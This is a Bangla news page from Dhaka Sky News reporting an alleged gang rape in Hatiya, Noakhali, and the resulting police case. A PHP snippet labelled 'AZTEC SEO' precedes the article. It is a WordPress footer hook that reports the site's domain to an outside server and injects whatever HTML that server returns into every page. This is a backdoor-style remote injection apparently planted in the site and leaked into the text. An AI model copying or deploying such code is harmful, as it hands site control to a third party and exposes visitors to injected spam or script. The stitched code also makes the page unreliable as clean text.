/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); নারীকে ফাঁদে ফেলে তরমুজ খেতে নিয়ে সংঘবদ্ধ ধর্ষণের অভিযোগ | Dhaka Sky News

১১ দিনে রেমিট্যান্স বেড়েছে ৪৪ শতাংশ

আগের সংবাদ

ছবি তুলতে গিয়ে ট্রেনের ধাক্কায় দুই যুবক নিহত

পরের সংবাদ

নারীকে ফাঁদে ফেলে তরমুজ খেতে নিয়ে সংঘবদ্ধ ধর্ষণের অভিযোগ

নোয়াখালী প্রতিনিধি

প্রকাশিত: March 12, 2026 , 7:09 pm

নোয়াখালীর হাতিয়ায় বিয়ের প্রলোভনে তালাকপ্রাপ্ত এক নারীকে (৩০) ডেকে নিয়ে সংঘবদ্ধ ধর্ষণের অভিযোগ উঠেছে।
বুধবার (১১ মার্চ) রাতে এ ঘটনায় তিনজনকে আসামি করে নারী ও শিশু নির্যাতন দমন আইনে হাতিয়া থানায় একটি মামলা করেছেন ভুক্তভোগী নারী।
এর আগে মঙ্গলবার রাতে হাতিয়া উপজেলার নলচিরা ইউনিয়নের কলাপাড়া এলাকার একটি তরমুজ খেতের পাহারার টংঘরে এনে ওই নারীকে পালাক্রমে ধর্ষণ করা হয়।
পুলিশ ও স্থানীয় সূত্রে জানা যায়, ভুক্তভোগী নারী তিন সন্তানের জননী এবং তিনি স্বামী পরিত্যক্ত। এর আগে তার তিনটি বিয়ে হয়েছিল। প্রথম সংসার প্রায় ১৮ বছর টিকেছিল, দ্বিতীয়টি তিন বছর এবং সর্বশেষ বিয়েতে প্রায় এক বছর সংসার করেন। বর্তমানে তিনি আবার বিয়ের জন্য পাত্র খুঁজছিলেন। কিছু দিন আগে ওই নারী তার পরিচিত এক ব্যক্তিকে তার জন্য নতুন করে আরেকটি পাত্র ঠিক করে দিতে বলেন। পরে ওই ব্যক্তি একটি মোবাইল নম্বর দিলে তার সঙ্গে যোগাযোগ করতে বলেন। যোগাযোগ করলে ওই ব্যক্তি বিয়ের কথা বলে বাইরে দেখা করার প্রস্তাব দেন এবং জানায় তাকে খালার বাসায় নিয়ে যাবেন। বিয়ের প্রলোভনে মঙ্গলবার সন্ধ্যায় ওই ব্যক্তি আফাজিয়া বাজার থেকে মোটরসাইকেলে করে ভুক্তভোগীকে নলচিরা ইউনিয়নের কলাপাড়া এলাকার একটি তরমুজ খেত পাহারার টংঘরে নিয়ে যান।
সেখানে আগে থেকে অবস্থান করা আরও দুজনসহ তিনজন মিলে তাকে আটকে রেখে পালাক্রমে ধর্ষণ করেন। ভুক্তভোগী নারী অভিযুক্তদের মধ্যে একজনের নাম-পরিচয় পুলিশকে জানিয়েছেন। তবে বাকি দুজনের পরিচয় তিনি জানাতে পারেননি।
এ বিষয়ে হাতিয়া থানার ওসি মো. কবির হোসেন বলেন, মৌখিক অভিযোগ পাওয়ার পর পুলিশ ঘটনাস্থল পরিদর্শন করেছে। পরে এ ঘটনায় নারী ও শিশু নির্যাতন দমন আইনে তিনজনকে আসামি করে মামলা নেওয়া হয়েছে।
তিনি আরও জানান, অভিযুক্তদের মধ্যে একজনের নাম-ঠিকানা জানা গেছে। অন্য দুজনকে শনাক্তের চেষ্টা চলছে এবং তাদের গ্রেফতারে পুলিশ অভিযান শুরু করেছে।